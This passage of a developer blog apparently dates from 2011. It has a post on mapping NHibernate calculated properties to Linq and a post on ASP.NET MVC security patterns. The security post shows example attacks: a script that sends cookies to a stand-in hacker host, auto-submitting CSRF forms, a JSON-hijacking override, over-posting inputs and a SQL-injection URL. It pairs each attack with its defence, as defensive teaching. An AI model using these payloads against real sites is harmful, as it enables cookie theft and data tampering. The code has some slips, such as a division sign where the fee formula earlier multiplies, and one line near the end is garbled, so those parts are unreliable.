I wasn’t expecting anything magical to come out of this, but it did! It fixed the bug. My timer now reliably fires back 100% of the times! I can’t explain why, but I’ll definitely file a bug report to Microsoft and see if they can come up with any logical explanation. I can’t provide a reproduction test for this though, as this bug only happens when I plug a lot of moving parts to the system. Whenever I try to reduce the complexities (to isolate the issue), the bug disappears. It almost seems like a dirty secret that the universe doesn’t want you to see.

Anyway, that has been an utterly frustrating 10 hours, and I’m not sure whether it’s a relief or anger that I’m feeling right now, but at least this pile of coffee mugs will finally clear out.

September 6, 2011

NHibernate: Linq-ing Calculated Properties

Filed under: Software Development — Hendry Luk @ 11:53 pm
Tags:

Some properties are mapped onto database columns, while others are calculated. Here’s one simple example:

public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}
   public decimal Fee
   {
      get {return (Weight - PackagingType.TareWeight) * ParcelType.FeePerWeight;
   }
}

“Fee” is a calculated property. You cannot use this property as a part of your Linq query. For instance, if you want to query Parcels with Fees above certain values:

var expensiveParcels = from parcel in Session.Query<Parcel> where parcel.Fee > 1000 select parcel;

Obviously that wouldn’t work because NHibernate does not recognize this “Fee” property.

There are 3 (conventional) ways to resolve this, you can choose either one of these:

  1. Change all your queries to avoid “Fee” property, and repeat the calculation logic (every time) instead.
    var expensiveParcels = from parcel in Session.Query<Parcel>
          where (parcel.Weight - parcel.PackagingType.TareWeight) * parcel.ParcelType.FeePerWeight > 1000
          select parcel;
    
  2. A slightly better way is to map “Fee” property with SQL Formula. It’s better because you do not have to repeat Fee calculation on every Linq query. E.g., in FluentNHibernate:
    Map(x=> x.Fee).Access.Readonly().Formula( // Raw SQL ->
        @"((select Weight - (select TareWeight from PackagingType p where  p.Id = PackagingId))
              * (select FeePerWeight from ParcelType pt where pt.Id = ParcelTypeId))");
    );
    
  3. Alternatively, you could also write an ILinqToHqlGenerator implementation.
    Since version 3.0, NHibernate has been utilizing ReLinq for its Linq-provider, which greatly improves its extensibility. It allows you to register your own ILinqToHqlGenerator, where you basically take a specific Linq expression and return whatever HqlTree expression you desire. For instance, in this example, we build our Hql expression like so:

    public class ParcelFeeLinqGenerator: BaseHqlGeneratorForProperty
    {
       public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
       {
          var parcel = visitor.Visit(expression).AsExpression();
          return treeBuilder.Multiply(
              treeBuilder.Subtract(
                 treeBuilder.Dot(parcel, treeBuilder.Ident("Weight")),
                 treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident("PackagingType")), treeBuilder.Ident("TareWeight"))
              ),
              treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident("ParcelType")), treeBuilder.Ident("FeePerWeight"))
          );
       }
    }
    

    And you register this generator into NHibernate runtime to handle our Fee property:

    registry.RegisterGenerator(ReflectionHelper.GetProperty<Parcel, decimal>(x=> x.Fee), new ParcelFeeLinqGenerator());
    

All those 3 approaches do the job just fine, but whichever one you pick you’ll still end up duplicating your Fee calculation logic one way or another. You’ll either be repeating your logic in C# expressions (option#1), in SQL expression (option #2), or in HQL expression (option #3). That seems to violate DRY. It’s easy to forget to change your querying logic whenever your pricing rule changes (e.g. tax).

Better Way?

The ideal solution is to eliminate logic duplication. We want to be able to write the calculation logic only once to be shared both by the property as well as by Linq queries. I’ll be using approach#3 while employing a pattern to avoid duplicating our logic.

First step, I create this generic ILinqToHqlGenerator plumbing that I can reuse for all calculated properties in my projects.

public class CalculatedPropertyGenerator<T, TResult> : BaseHqlGeneratorForProperty
{
   public static void Register(ILinqToHqlGeneratorsRegistry registry, Expression<Func<T, TResult>> property, Expression<Func<T, TResult>> calculationExp)
   {
      registry.RegisterGenerator(ReflectionHelper.GetProperty(property), new CalculatedPropertyGenerator<T, TResult>{_calculationExp = calculationExp});
   }
   private CalculatedPropertyGenerator(){} // Private constructor

   private readonly Expression<Func<T, TResult>> _calculationExp;
   public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
   {
      return visitor.Visit(_calculationExp);
   }
}

Once we got that plumbing class in place, we’ll then modify my parcel class slightly to look like the following:

public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}

   /// <summary>
   /// To be reused for (NHibernate) Linq generator
   /// </summary>
   public static readonly Expression<Func<Parcel, decimal>> CalculateFeeExpression = x =>
          (x.Weight - x.PackagingType.TareWeight) / x.ParcelType.FeePerWeight;

   private static readonly Func<Parcel, decimal> CalculateFee = CalculateFeeExpression.Compile();
   public decimal Fee
   {
      get {return CalculateFee(this);
   }
}

Now you register this FeeCalculationExpression to NHibernate registry so that NHibernate can now translate Fee property using the same fee-calculation expression used by the Parcel class itself.

CalculatedPropertyGenerator<Parcel, double>.Register(registry, x=> x.Fee, Parcel.CalculateFeeExpression);

Now this Linq query works. NHibernate knows how to handle Fee property in the query.

var expensiveParcels = from parcel in Session.Query<Parcel> where parcel.Fee > 1000 select parcel;

We are reusing the same business-rule for calculating Fee property as well as to generate our NHibernate queries. There’s no duplication, and it requires very little setup as well (once you get the CalculatedPropertyGenerator plumbing class in place). This so far has been my favorite approach to map calculated-properties to NHibernate.

August 8, 2011

Web Development Security Patterns

Filed under: Software Development — Hendry Luk @ 3:44 am
Tags: , ,

As a good web developer, and a responsible one, there are certain patterns we must all follow to avoid exposing our application to common security and usability problems and the general shooting yourself in the foot. I’m documenting some of these basic dos and don’ts into this post. And while the examples given are specific to ASP.NET MVC, almost all of the guidelines (risks, vulnerability, and solutions) are applicable to web development in general.

The first step in securing a website is to know how to attack it. So this post will cover some how-to guides to perform some of the most common methods to hack a website, and ultimately how to prevent them. No, don’t feel obliged to rush and practice it against your local council’s websites, but even if you do, here I am disclaiming my involvement in any unlawful conducts ;)

1. Encode your texts

Risk:

XSS vulnerability

How:

Your dear hacker would visit your website, and post this comment on your wall or guestbook.

This is a dodgy message. <script>
   document.write(
      '<img src=http://HackerSite/StealCookie?input='
      + escape(document.cookie)
      + '/>');
</script>

If your website does not encode this text, the script will appear on your homepage, and steal all your users’ cookies, send all those data secretly to the the bad guy, and move out of the scene quietly.

Solution:

Always encode your texts, especially those that may be input/modified by your users. Before razor, in ASP.Net 4.0, you simply had to use

<%:Model.Message%>

.. instead of:

<%=Model.Message%>

Since razor, it will always encode your text.

@Model.Message

.. so you’ll rarely need to worry about any of these any more, except when you’re writing Html helpers: do remember HTML encoding.

2. Deny GET access to non-idempotent actions

When I say non-idempotent actions, I mean actions that may cause some side-effects to the system. E.g. update my profile, post a wall comment, resend-password, kill a kitten, etc. Anyhow, this is bad:

<a href="/AddToCart?ProductId=4423">Add to Cart</a>

Risk:

Cross-Site-Request-Forgery (XSRF) vulnerability.

How:

To launch an XSRF attack on your website, our megalomaniac hacker would write an HTML page that contains the following element to vandalize your shopping-cart:

<img src="http://yourwebsite/AddToCart?product=4423"/>

He would then publish that little HTML script on his own website/blog-post, or just simply send the script as part of an email to every internet user under the sun.

When unsuspecting users of yourwebsite open this email (or visit his dodgy website) on their browsers, the img tags will secretly make a call to yourwebsite (e.g. vandalise your shopping-cart, post fake wall messages, buy a giraffe, or other evil things megalomaniacs usually do) on behalf of the current users without their consents.

And yes, Facebook, till this very date in my knowledge, is still vulnerable to this attack on some of their pages. Some nasty websites have exploited this vulnerability to post public messages to your Facebook walls/friends on your behalf.

Solution:

By requiring POST access (and rejecting GET) on your non-idempotent actions, you will stop <img> or <script> tags to launch XSRF attack against them. In ASP.NET MVC, this is done by decorating your actions with [HttpPost] attribute.

[HttpPost]
public ActionResult AddToCart(Product product)
{
}

And change your “Add to Cart” hyperlink to a POST form submit button:

<form method="POST" action="/AddToCart">
   <hidden name="product" value="4423" />
   <input type="submit" value="Add to Cart" />
</form>

I know some web designers prefer to have certain functionalities to look like hyperlinks, rather than submit-button, for certain aesthetic/usability reasons. In such case, you should still use submit buttons, and apply some CSS to make them look like hyperlinks. Do not use actual hyperlinks.

I also know that UI designers hate submit-buttons because they are very hard to style and look consistent in all browsers. If you really MUST use hyperlinks, hook it with a Javascript (at the cost of accessibility) to make it submit an AJAX POST. All access through the GET gate must be denied.

3. Always validate anti-forgery token on every POST

Risk:

Merely blocking GET access to your non-idempotent actions is not enough to stop XSRF attack.

How:

To penetrate an HttpPost-restricted actions, our megalomaniac hacker would simply make a form on his own dodgy website, and make it submit to yourwebsite.

<form id="evilForm" method="POST" action="http://yourwebsite/Purchase">
   <input type="Hidden" name="ProductCode" value="BabyPanda" />
   <input type="Hidden" name="Quantity" value="1000000" />
   <input type="Submit value="Free Coke is Here!"/>
</form>

Who could resist a button that says “Free Coke”? What’s so evil about that button is: not only does it submit an order for a million baby pandas from yourwebsite.com, courtesy of your unsuspecting users, it does not even give out any free coke either!

So we’ll be safe as long as we don’t click any button on some malicious website right? Well not quite. Your hacker can save you the trouble and click the button for you:

<script type="text/javascript">
   $("form").submit();
</script>

So just by opening his evil page on your browser, BAAM! You purchase a million baby pandas.

Solution:

Always validate anti-forgery token on all your POST actions. In ASP.Net MVC, you just add a [ValidateAntiForgeryToken] attribute.

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult PostToWall(string message)
{
}

Now your action is requiring __RequestVerificationToken to be passed in the post, and the value must match the one stored in a client cookie called “__RequestVerificationToken_Lw__”. (This token is initially generated by your application). So any arbitrary form submission without this token (or with an incorrect token) will be denied.

The existing form we wrote earlier (above) will now fail to submit. (Anti-Forgery Token Validation Exception). To pass this validation, you need to modify the form to include a “__RequestVerificationToken” hidden input that will hold the security token.

@using(Html.BeginForm("Purchase"))
{
   @Html.AntiForgeryToken() // this will render a hidden __RequestVerificationToken
   // the rest of your form
}

Since your hacker does not have access to your cookie (unless if you’re exploited by an XSS attack), he won’t be able to work out the token of the current user, and is therefore unable to make a POST that’s accepted by our validation. This anti-forgery protection is rendered ineffective if your website has any XSS vulnerability.

So why do we need our previous rule#2: “avoid GET”? Forging a POST is just as easy as forging a GET anyway, so now that we got this anti-forgery-token, why must I use POST?
Oh no, do NOT use anti-forgery-token with GET (i.e. via querystring, as I frequently see), because it’s easily leaked. E.g. if yourwebsite has links to other sites, they can use HTTP_REFERRER headers to read your users’ querystring (hence their tokens). So all your hacker needs to do is to leave spam messages (with his URL) on your wall/guestbook, and provoke the curious minds of your users to click it, and SMACK! Curiousity just killed the cat.

Even if you have no bogus links on yourwebsite (e.g. you don’t accept external URLs, or you have a seriously awesome spam filter) thus protecting your HTTP_REFERRER from malicious sites, a determined hacker can still just interogate your entire browsing history (using a JS+CSS trick), and if he gets lucky, that would be the end of your oh-so-important token.
So there, keep rule#2 and use POST!

4. Protect your JSON data

We’ve covered before that non-idempotent actions needs to be restricted to POST. So what about an idempotent GET actions that simply return (possibly sensitive) JSON data?

Risk:

JSON Hijacking

How:

AJAX requests are generally considered safe because browsers only allow AJAX requests (i.e. XmlHttpRequest aka XHR) to your own domain. Put simply, cross-site AJAX is not allowed, eliminating the risk of cross-site forgery via AJAX.

A hacker can still make a cross-domain access to your GET services using <img> or <script> tag. E.g.:

<img src="http://yourwebsite/InboxMessages" />

… but that’s fine, no harm there. As covered in point#2 above, we only allow GET on idempotent services (such as retrieving InboxMessages), not on unsafe services (such as sending messages). So the script above can’t possibly do any harm on the server. As for the JSON data itself, a hacker can’t read anything using <img> or <script> (he would need XHR or an IFrame inspection, both of which are not allowed to cross domains), so we’re all safe.

Unfortunately, using a clever trick, a hacker can actually read your JSON data. It’s achieved by rewriting the Array definition in Javascript.

<script type="text/javascript">
  // Overload the Array constructor so we can intercept data
  var realArray = Array;
  Array = function () {
     var arr = realArray.apply(arguments);
     stealData(arr);
     return arr;
  }
</script>

<script src="http://yourwebsite/InboxMessages" />

First, he overloads (read: hijacks) the Array constructor of the Javascript. From that point on, it’s fairly straightforward. He just simply hits your InboxMessage service using a <script> tag, and every Array that’s returned within your JSON will be chanelled through to his fake Array constructor that steals your data.

GMail was vulnerable to this attack until a couple years ago. Many of its users data (emails & contacts) were stolen using this very technique, before Google eventually fixed the hole.

Solution:

There are two options you can pick to protect against JSON hijacking.

  1. Do not allow GET access in the first place. Limit your JSON service only to POST requests (like what we did on point#2), even for idempotent services. By default, the Json() method in ASP.NET MVC does just that (it throws an exception on GET requests) for this exact security reason. But forcing POST to retrieve (JSON) data violates proper Http semantics, and might not even be an option if you are writing RESTful services. A better way to solve this is by restricting your JSON services to only allow AJAX calls (option #2).
  2. In ASP.Net MVC, you simply add [AjaxOnly] attribute from MVCFutures (which simply checks Request.IsAjax==true; something that you can write yourself very easily if you’re not using MVCFutures library).
    [HttpGet]
    [AjaxOnly]
    public ActionResult InboxMessages()
    {
    }
    

    Now your actions only accept AJAX requests. And since you can’t make a cross-site AJAX request, your actions are now safe from cross-site attacks.

5. Securing AJAX POSTs Against Forgery

We know from point#3 above that we should always validate our form submission against anti-forgery token. That’s fine. But what about AJAX calls, such as the following:

$.post("http://yourwebsite/ReplyMessage",
   { repliedMsgId: 123, replyMsg: "Roger that!"});

How do you secure this AJAX call?

Risk:

XSRF attack (look point#3)

How:

(Look point#3)

Solution:

Similar to point#3, you could change the way you make AJAX calls in your javascript by always adding an anti-forgery-token (retrieved from the user’s cookie) into the payload. But it’s not really necessary. There’s no change necessary in your javascript. You just simply to protect your server-side actions with [AjaxOnly] attribute (similar to point#4).

[HttpPost]
[AjaxOnly]
public ActionResult InboxMessages()
{
}

Since cross-site AJAX calls are not allowed by browsers, your action is safe against cross-site attacks, without the need to validate anti-forgery tokens.

In cases where you reuse the same action for both Ajax and non-Ajax POSTs, then you will need to resort back to the usual anti-forgery-tokens validations (and you’ll need to change your Ajax call to also include this token as part of the payload).

6. POST-Redirect-GET (PRG)

It’s a bad practice for a successful POST request to return a content page. For example, upon submitting a Purchase form, the server returns back a successful page (without redirection).

Risk:

Accidental double POSTs

How:

When you return a page from a POST request (without redirection):

  1. Your users might accidentally make a repeated POST when they use back/forward navigation or refresh button on their browsers. They are practically unable to come back to the page they last saw (e.g. their order confirmation) without making another POST to the server (i.e. submitting another purchase).
  2. It may break browser bookmark feature. E.g. if your “Reply Message” returns back to Inbox page (without redirection), and the user bookmarks the page, he will be wrongly bookmarking a wrong URL (/Reply) instead of the actual /Inbox URL.

Solution:

As a general acceptable rule, your POST should always return a redirection unless the POST has been unsuccessful (i.e. no impact has been made on the server). For instance, upon a successful Purchase POST, instead of returning a confirmation page, the POST should rather redirect the browser to /PurchaseConfirmation?OrderNumber=1234 (which in turn displays the order confirmation page).

If the POST has been unsuccessful (and all changes have been rolled-back), the general acceptable rule is for the POST to return the same page, without any redirection. This way, the user can retry submitting the form by refreshing the page, without having to navigate back.

So if you combine this with rule#2, you’ll get this rule:

  • GET should only return contents. It should not make any server-side effect. (I.e. idempotent requests, aka “queries”)
  • POST should only make server-side effects, and it should not return contents (i.e. non-idempotent requests, aka “commands”). It also means that if no server-side effect was made (e.g. failures), it may return contents.

Basically, Command-Query-Separation (CQS). The advantages of following this pattern are:

  1. It avoids confussion and frustration, as the users will be able to use their next/back navigation or refresh-button without accidentally causing double-posts nor being prompted by their browsers about it. It has become one of those Internet norms, and your typical users will be expecting this behavior from your website, so you might as well embrace it.
    Furthermore, when you use GET (including the results of POST-redirection), the browser will cache the page so that when the user navigates back/forward he will be able to view his last-viewed pages, instead of having to refetch the page from the server (which might have changed or expired). If you use POST to return a page without redirection, the user will be forced to make another POST (which will cause him to buy another product) when he tries to see the confirmation message of his last order.
  2. Redirection ensures that the user will be able to bookmark the page without mistakenly taking a wrong URL.

7. Always use controller-specific ViewModel for ModelBinding

public class Customer
{
   public string FirstName {get; set;}
   public string LastName {get; set;}
   public int CreditRating {get; set;}

   /* other properties/methods */
}

A customer can’t change his own credit-rating from his profile page, which is, by the way, the following:

@using(Html.BeginForm("EditMyProfile")
{
   <div>
      @Html.LabelFor(x=> x.FirstName)
      @Html.EditorFor(x=> x.FirstName)
   </div>
   <div>
      @Html.LabelFor(x=> x.LastName)
      @Html.EditorFor(x=> x.LastName)
   </div>

   <input type="Submit" value="Save" />
}

And here’s the controller action that handles the form.

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel(customer);

   // Save the customer
}

.. or if you have full-fledged model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer customer)
{
   // save the customer
}

Risk:

Over-Posting Attack

How:

Over-posting vulnerabilities are often very easy to miss. particularly among ASP.NET MVC developers. To launch over-posting attacks, your attacker would just use Firebug or WebDeveloper to edit the HTML form and add the following textbox:

<input name="CreditRating" value="100" />

Thanks to ASP.NET MVC ModelBinder, he can now edit his CreditRating to 100 or whatever he wants. And in fact, especially if you use ORM that supports automatic change-tracking, he can even make other far-reaching changes on other objects by navigating through your object structure. E.g., still on EditMyProfile page:

<input name="Region.Administrator.Password" value="hackedPassword" />
<input name="ShoppingCart.Items[0].Price" value="0.01" />

Starting from a Customer object, he can jump through other objects and change your region’s administrator password, or change the prices of your products. Automatic change-tracking of your ORM will make sure that these changes will get saved!

Solution:

Do NOT use ASP.Net MVC’s ModelBinder against your actual domain objects, particularly those that are tracked by your ORM. ASP.Net ModelBinder should ONLY be coupled with ViewModels, and your ViewModel must expose only the properties that you’re allowing your users to input on that particular page.

[HttpPost]
public ActionResult EditMyProfile(EditMyProfileViewModel vm)
{
   // map the view-model values to the customer object
   // save the customer
}

Alternatively you can extract an interface of your domain-model, and only bind your controller action against this interface.

public class Customer: IMyProfileUpdatable, IAdminUpdatable
{
   public interface IMyProfileUpdatable
   {
      string FirstName {get; set;}
      string LastName {get; set;}
   }
   public interface IAdminUpdatable: IMyProfileUpdatable
   {
      int CreditRating {get; set;
   }

   // The rest of your normal Customer class
}

And the controller actions:

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel<Customer.IMyProfileUpdatable>(customer); // Bind against the interface

   // Save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer()
{
   Customer customer = //get customer
   TryUpdateModel<Customer.IAdminUpdatable>(customer); // Bind against the interface

   // Save the customer
}

.. or if proper model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer.IMyProfileUpdatable customer)
{
   // save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer(Customer.IAdminUpdatable customer)
{
   // Save the customer
}

By limiting your ModelBinding to a specific interface, you’re limitting to specific parts of your object that your users can reach. In most projects, I enforce this rule by making my ModelBinder to NOT bind any properties of my domain entities (by default), unless I explicitly mark my binding with a special attribute (e.g. [EditEntity]).

8. Don’t trust hidden-fields

This is a reminder why this is a bad (Razor) view:

@model Sheep.UserProfile
@using(Html.BeginForm("UpdateMyProfile"))
{
   @Html.Hidden(x=> x.User.Id);
   @Html.EditorFor(x=> x.User.FirstName);
   @Html.EditorFor(x=> x.User.LastName);
}

We use hidden field (or query-string) to pass the User.Id to our controller Action, which is usually to leverage custom model-binding infrastructure that automatically loads entities (e.g. User) by the Id being passed, then binds the rest of the properties.

Risk:

Prone to user manipulation

How:

By using Firebug to change the hidden User.Id field to some other UserId, a hacker can perform “update my profile” on behalf of ANY user he wishes. Your “update my profile” page is more like an “update ANY profile” page really.

Solution:

Yap, get rid of the UserId field from the client side (form field, cookie, or query-string). On the server side, you should always reinterogate again the identity of the current user (e.g. using ASP.NET membership), instead of relying on user input. It seems a very obvious advice, but you’ll be surprised how often I’ve seen this mistake.

9. HTTPS

I can’t stress this enough. NEVER ever submit a secure information via HTTP. Especially on a public network. NEVER.

Unfortunately, many websites (such as Facebook) default their login-pages to its HTTP version, and users need to explicitly change to HTTPS yourself if they choose so.

HTTP is very bad, worse than you might think. It’s very easy to snoop packet traffic in networks, especially wireless networks, and without HTTPS, your information (e.g. password, credit-card number, etc) are sent (in clear-text) to practically ALL machines participating in the network. All they need to do is to actually read the message (e.g. using Wireshark) whenever they feel like ‘stealing’ your password, although I’m not sure you can even call it “stealing” since it’s YOU who literally broadcasts your password right to their front door.

So yes web-developers around the world, always equip all your sensitive forms with SSL. Probably don’t even make HTTP access on those forms possible at all, unless you have a very good reason to, and even so at least do NOT default it to HTTP.

10. SQL Injection

Yes it sounds like a thing from a long past. Our modern ways of doing data-access tend to protect us against SQL injections. We’ve all learnt that we should always parameterize your SQL values (using prepared-statements or Linq) as opposed to inlining them in the string. SQL Injection attack is a dying breed.

However this vulnerability still reappears from time to time, such as the following example, which is still regularly seen even in today’s world. Consider this URL on your product search page:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription

And here’s our controller action. Being a good developer, we use a prepared-statement to parameterize all our SQL values (e.g. minPrice).

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

That was a common example of a SQL-Injection hole.

Risk:

SQL Injection attack

How:

Our hacker can make the following request on his browser:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription;UPDATE%20Products%20SET%20Price=0.01

When that gets executed, it will change the pricing of your products in a way that makes your customers immensely happy, and your boss immensely sad.

I was using SQL in that example, but the same attack method can be used against ORMs, for instance if you use NHibernate’s HQL, you’re not immune against HQL Injections.

Solution:

Make sure you validate your input.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   ValidateColumn(sortBy);
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

The better way is perhaps to avoid string concatenation altogether, and use Linq or other query API instead (such as Criteria and QueryOver in NHibernate), though it’s not always possible.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>()
         .Where(x=> Price >= minPrice)
         .OrderBy(ToMemberExpression(sortBy));
   return View(products);
}

private static Expression<Func<T, object>> ToMemberExpression<T>(string propertyName)
{
   var parameterExpression = Expression.Parameter(typeof (T), "x");
   var expression = (Expression) parameterExpression;
   var str = propertyName;
   var chArray = new char[]{'.'};

   foreach (var propertyName1 in str.Split(chArray))
      expression = (Expression) Expression.Property(expression, propertyName1);

   return Expression.Lambda<Func<T, object>>((Expression) Expression.Convert(
       expression, typeof (object)), new ParameterExpression[] { parameterExpression });
}

oaae~ ve{| ozzohmk| og ette|z{gfzvze tet{aozk iejka t|etk|zfkx ve{ jfjg‖z kskg t{z eg ve{| fgt{z ce|ix’

Next Page »

The Rubric Theme. Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.